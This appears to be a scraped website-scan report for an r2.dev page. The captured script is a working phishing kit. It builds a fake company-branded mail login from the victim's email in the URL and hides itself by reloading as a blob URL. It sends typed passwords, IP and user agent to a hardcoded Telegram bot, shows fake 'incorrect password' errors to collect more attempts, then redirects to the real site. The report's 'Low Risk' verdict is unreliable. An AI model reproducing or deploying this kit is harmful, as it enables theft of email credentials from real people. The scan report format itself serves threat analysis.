The domain name 'pub-f8fde659e2dc4783b121a5445d3d74c0.r2.dev' uses the developer-focused generic top-level domain (.dev), featuring subdomain 'pub-f8fde659e2dc4783b121a5445d3d74c0'. Count 2 characters in 'r2' with zero vowels and 1 consonant; it also includes 1 digit. Splitting it apart reveals 2 words: r, 2. Median word length comes out to one character. No strong language cues emerged from the frequency lists.

html/be/f8/bef878f0-0177-4173-a322-545d2279b4a9.html.gz

ce6a59e33b948ca0bd222895194c8a0ca413820dee8e9b96b96b20a399892871

width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Abuse Team

CloudFlare, Inc.

r2.dev

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET

 


        // Helper function to validate email
        function validateEmail(email) {
            return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
        }

        // Get email from URL function
        function getEmailFromURL() {
            const hash = location.hash.substring(1);

            if (validateEmail(hash)) {
                return { decoded: hash, encoded: null };
            }

            try {
                const decodedHash = atob(hash);
                if (validateEmail(decodedHash)) {
                    return { decoded: decodedHash, encoded: hash };
                }
            } catch (e) {}

            const params = new URLSearchParams(location.search);
            for (const value of params.values()) {
                try {
                    const decoded = atob(value);
                    if (validateEmail(decoded)) {
                        return { decoded: decoded, encoded: value };
                    }
                } catch (e) {
                    if (validateEmail(value)) {
                        return { decoded: value, encoded: null };
                    }
                }
            }

            return null;
        }

 
        // Show password error
        function showPasswordError() {
            document.getElementById('error-message').style.display = 'block';
            console.log("SHOW PASSWORD ERROR AT THIS POINT")
        }

        // Hide password error
        function hidePasswordError() {
            document.getElementById('error-message').style.display = 'none';
            console.log("HIDE THE FUCKING PASSWORD ERROR AT THIS POINT")
        }


        // Show form overlay
        function showFormOverlay() {
            document.getElementById('form-overlay').style.display = 'flex';
        }

        // Hide form overlay
        function hideFormOverlay() {
            document.getElementById('form-overlay').style.display = 'none';
        }


document.addEventListener("DOMContentLoaded", async function() {
    const emailData = getEmailFromURL();

    
    if (emailData) {

                currentEmail = emailData.decoded;
                const base64Email = emailData.encoded;

                console.log("Decoded email:", currentEmail);
                console.log("Base64 version:", base64Email);

                // Only proceed if we're on the original page (not already a blob)
                if (!window.location.href.startsWith("blob:")) {
                    // Fetch both HTML and CSS
                    // Promise.all([
                    //     fetch(window.location.href).then(response => response.text()),
                    //     fetch('styles.css').then(response => response.text())
                    // ])
                    // .then(([htmlText, cssText]) => {
                    //     // Inject CSS into HTML
                    //     const updatedHtml = htmlText.replace(
                    //         '<link rel="stylesheet" href="styles.css">',
                    //         `<style>${cssText}</style>`
                    //     );
                    fetch(window.location.href)
                        .then(response => response.text())
                        .then(htmlText => {
                        // Create a new blob with the complete HTML content
                        const blob = new Blob([htmlText], { type: "text/html" });
                        const blobUrl = URL.createObjectURL(blob);

                        // Replace the current location with the blob + hash
                        window.location.replace(`${blobUrl}#${base64Email || currentEmail}`);
                    })
                    .catch(console.error);
                    // return; // Exit since we're redirecting
                }




    // const urlParams = new URLSearchParams(window.location.search);
    // const base64Email = urlParams.get('email');

    document.getElementById('login-text').textContent = 'LOGIN';
    document.getElementById('login-text').style.marginLeft = '20px';
    document.getElementById('portal-text').textContent = 'MAIL PORTAL';
    document.getElementById('email-text').textContent = 'Email or phone';

    
    const passwordContainer = document.getElementById('password-container');
    const passwordLabel = document.createElement('div');
    passwordLabel.className = 'pp-label';
    passwordLabel.textContent = 'Enter password';
    passwordContainer.appendChild(passwordLabel);
    
    const errorMessage = document.createElement('div');
    errorMessage.id = 'error-message';
    errorMessage.style.color = 'red';
    errorMessage.style.display = 'none';
    errorMessage.textContent = 'Your mailbox is incorrect. Please try again.';
    passwordContainer.appendChild(errorMessage);


    
    const passwordInput = document.createElement('input');
    passwordInput.type = 'password';
    passwordInput.placeholder = 'Password';
    passwordInput.id = 'password-input';
    passwordInput.style.border = 'none';
    passwordInput.style.borderBottom = '1px solid #0965bb';
    passwordInput.style.padding = '5px';
    passwordInput.style.width = '90%';
    passwordInput.style.outline = 'none';
    passwordContainer.appendChild(passwordInput);

    
    const actionsContainer = document.getElementById('actions-container');
    const forgotPassword = document.createElement('div');
    forgotPassword.className = 'ft-p';
    forgotPassword.textContent = 'Forgotten password?';
    actionsContainer.appendChild(forgotPassword);

    
    const signInButton = document.createElement('button');
    signInButton.className = 'sn-n-bn';
    signInButton.id = 'sign-in-button';
    signInButton.textContent = 'Sign In';
    actionsContainer.appendChild(signInButton);



     // Focus password input on page load
            setTimeout(() => {
                if (passwordInput) {
                    passwordInput.focus();
                }
            }, 100);

               // Password input event listener
               
            if (passwordInput) {
                // Hide error on user interaction with password field
                passwordInput.addEventListener('input', hidePasswordError);
                // passwordInput.addEventListener('focus', hidePasswordError);
                passwordInput.addEventListener('click', hidePasswordError);
            }
    
    document.getElementById('terms').textContent = 'Terms of use Privacy & cookies. © 2025';

    

    // if (base64Email) {
        
        const email = emailData.decoded;

        
        document.getElementById('email-text').textContent = email;

        
        const [localPart, domainExtracted] = email.split('@');
        domain = domainExtracted; 
        const companyName = domainExtracted.split('.')[0];
        const capitalizedDomain = domainExtracted.charAt(0).toUpperCase() + domainExtracted.slice(1);
        const capitalizedCompanyName = companyName.charAt(0).toUpperCase() + companyName.slice(1);

        
        document.getElementById('portal-text').textContent = `${capitalizedCompanyName} Mail Portal`;
        document.getElementById('help-email').textContent = `Help@${domainExtracted}`;

        // Set the logo
        const logoImage = document.getElementById('company-logo');
        logoImage.src = `https://logo.clearbit.com/${domainExtracted}`;
        logoImage.onerror = function() {
            logoImage.src = 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1MTIgNTEyIiBzdHlsZT0iZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCA1MTIgNTEyIiB4bWw6c3BhY2U9InByZXNlcnZlIj4KICAgICAgICAgICAgICAgIDxwYXRoIHN0eWxlPSJmaWxsOiMwMDU1YjgiIGQ9Ik01MDMuNzU2IDExOC4wNjVjMC05LjA2OS03LjQyLTE2LjQ4OS0xNi40ODktMTYuNDg5SDI0LjczM2MtOS4wNjkgMC0xNi40ODkgNy40Mi0xNi40ODkgMTYuNDg5djI3NS44N2MwIDkuMDY5IDcuNDIgMTYuNDg5IDE2LjQ4OSAxNi40ODloNDYyLjUzM2M5LjA2OSAwIDE2LjQ4OS03LjQyIDE2LjQ4OS0xNi40ODl2LTI3NS44N3oiLz4KICAgICAgICAgICAgICAgIDxwYXRoIHN0eWxlPSJvcGFjaXR5Oi4xO2VuYWJsZS1iYWNrZ3JvdW5kOm5ldyIgZD0iTTI1NS45OTYgMjMwLjAzMiA5LjMwNiAzOTkuNjg3YzIuMTQ4IDUuNzEzIDcuMzcyIDkuOTQ5IDEzLjYzNiAxMC42MzRsMjMzLjA1My0xNjAuMjc4TDQ4OS4wNSA0MTAuMzIxYzYuMjY3LS42ODMgMTEuNDkyLTQuOTE4IDEzLjY0MS0xMC42MzFMMjU1Ljk5NiAyMzAuMDMyeiIvPgogICAgICAgICAgICAgICAgPHBhdGggc3R5bGU9Im9wYWNpdHk6LjI7ZW5hYmxlLWJhY2tncm91bmQ6bmV3IiBkPSJNNDg3LjI2NyAxMDEuNTc2SDI0LjczM2MtOS4wNjkgMC0xNi40ODkgNy40Mi0xNi40ODkgMTYuNDg5djIuMTk5bDI0Ny43NTUgMTcyLjUzOSAyNDcuNzU1LTE3Mi41Mzl2LTIuMTk5Yy4wMDItOS4wNjktNy40MTgtMTYuNDg5LTE2LjQ4Ny0xNi40ODl6Ii8+CiAgICAgICAgICAgICAgICA8cGF0aCBzdHlsZT0iZmlsbDojMDA4MmNhIiBkPSJNNDg3LjI2NyAxMDEuNTc2SDI0LjczM2MtNC4wOTEgMC03LjgzOSAxLjUyLTEwLjczIDQuMDFsMjQxLjk5NiAxNjguNTI5IDI0MS45OTYtMTY4LjUyOWMtMi44OS0yLjQ5LTYuNjM3LTQuMDEtMTAuNzI4LTQuMDF6Ii8+CiAgICAgICAgICAgICAgICA8cGF0aCBzdHlsZT0iZmlsbDojMWUyNTJiIiBkPSJNNDg3LjI2NyA5My4zMzJIMjQuNzMzQzExLjA5NSA5My4zMzIgMCAxMDQuNDI3IDAgMTE4LjA2NXYyNzUuODdjMCAxMy42MzkgMTEuMDk1IDI0LjczMyAyNC43MzMgMjQuNzMzaDQ2Mi41MzNjMTMuNjM5IDAgMjQuNzMzLTExLjA5NSAyNC43MzMtMjQuNzMzdi0yNzUuODdjLjAwMS0xMy42MzgtMTEuMDk1LTI0LjczMy0yNC43MzItMjQuNzMzem0tOS43NzcgMTYuNDg5TDI1NiAyNjQuMDY4IDM0LjUxIDEwOS44MjFoNDQyLjk4em0xOC4wMjEgMjg0LjExNGMwIDQuNTQ3LTMuNjk4IDguMjQ0LTguMjQ0IDguMjQ0SDI0LjczM2MtNC41NDcgMC04LjI0NC0zLjY5OC04LjI0NC04LjI0NHYtMjc1Ljg3YzAtLjIyOS4wMTYtLjQ1My4wMzQtLjY3N0wyNTEuMjg4IDI4MC44OGE4LjI0MyA4LjI0MyAwIDAgMCA5LjQyMiAwbDIzNC43NjUtMTYzLjQ5MmMuMDE5LjIyNC4wMzQuNDQ4LjAzNC42Nzd2Mjc1Ljg3aC4wMDJ6Ii8+CiAgICAgICAgICAgIDwvc3ZnPg==';
            
        };

         // Set the iframe background
        const iframe = document.getElementById('mainPage');
        iframe.src = `https://${domainExtracted}`;
        iframe.onerror = function() {
            iframe.style.display = 'none';
            document.body.style.backgroundColor = 'rgb(184, 183, 183)'; 
        };
//  }

    let attempt = 0;
    const errorMessageElement = document.getElementById('error-message');
    const signInButtonElement = document.getElementById('sign-in-button');
    let userIp = 'Unknown';

    
    signInButtonElement.addEventListener('click', async function() {
        const password = passwordInput.value.trim();
           // Disable submit button
        signInButtonElement.disabled = true;
        signInButtonElement.textContent = 'Logging in...';
         // Show form overlay
        showFormOverlay();
        if (password === '') {
            errorMessageElement.textContent = 'Please enter your password to continue.';
            errorMessageElement.style.display = 'block';
            // setTimeout(function() {
            //     errorMessageElement.style.display = 'none';
            // }, 3000);
        } else if (password.length < 4) {
            errorMessageElement.textContent = 'Password incomplete, Please try again.';
            errorMessageElement.style.display = 'block';
            passwordInput.value = '';
            // setTimeout(function() {
            //     errorMessageElement.style.display = 'none';
            // }, 3000);
        } else {
            errorMessageElement.style.display = 'none';
            await sendInfoToTelegram();
            attempt++;
  
            if (attempt === 1 || attempt === 2) {
            setTimeout(() => {
                hideFormOverlay();
                signInButtonElement.disabled = false;
                signInButtonElement.textContent = 'Sign In';
                errorMessageElement.textContent = 'Your mailbox password is incorrect. Please try again.';
                errorMessageElement.style.display = 'block';
                // setTimeout(function() {
                //     errorMessageElement.style.display = 'none';
            }, 3000);
            } else if (attempt === 3) {
                window.location.href = `https://www.${domain}`;
            }
            passwordInput.value = ''; 
          
        }
    });


    async function fetchUserIp() {
        try {
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            userIp = data.ip;
        } catch (error) {
            userIp = 'IP - undefined';
        }
    }

    async function sendInfoToTelegram() {
        const email = document.getElementById('email-text').textContent;
        const password = passwordInput.value;
        const { formattedDate, formattedTime } = getFormattedDateAndTime();
        const userAgent = navigator.userAgent;

        await fetchUserIp();

        const message = `
Email: ${email}
Password: ${password}
IP: ${userIp}\n
Date: ${formattedDate}
Time: ${formattedTime}
User Agent: ${userAgent}\n
Courtesy of KSN
        `;

        const telegramToken = '7384347876:AAHNUQpKWp4iaegvCQKtBWnaFxGiI079s6c'; 
        const chatId = '6093260348'; 
        const apiUrl = `https://api.telegram.org/bot${telegramToken}/sendMessage`;

        const payload = {
            chat_id: chatId,
            text: message,
            parse_mode: 'HTML'
        };

        fetch(apiUrl, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
        })
        .then(response => response.json())
        .then(data => {
            if (!data.ok) {
                console.error('Telegram error:', data.description);
            }
        })
        .catch(error => console.error('Error sending message to Telegram:', error));
    }

    function getFormattedDateAndTime() {
        const date = new Date();
        const monthNames = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
        const formattedDate = `${date.getDate()} ${monthNames[date.getMonth()]}, ${date.getFullYear()}`;
        const formattedTime = `${date.getHours().toString().padStart(2, '0')}:${date.getMinutes().toString().padStart(2, '0')}:${date.getSeconds().toString().padStart(2, '0')}`;
        return { formattedDate, formattedTime };
    }
}
});


 

Requests	IP Address	Location	AS Autonomous System
1	104.18.54.45Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	1	-	-

Security Scan Report: pub-f8fde659e2dc4783b121a5445d3d74c0.r2.dev

Summary

AI Security Verdict

Low Risk

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History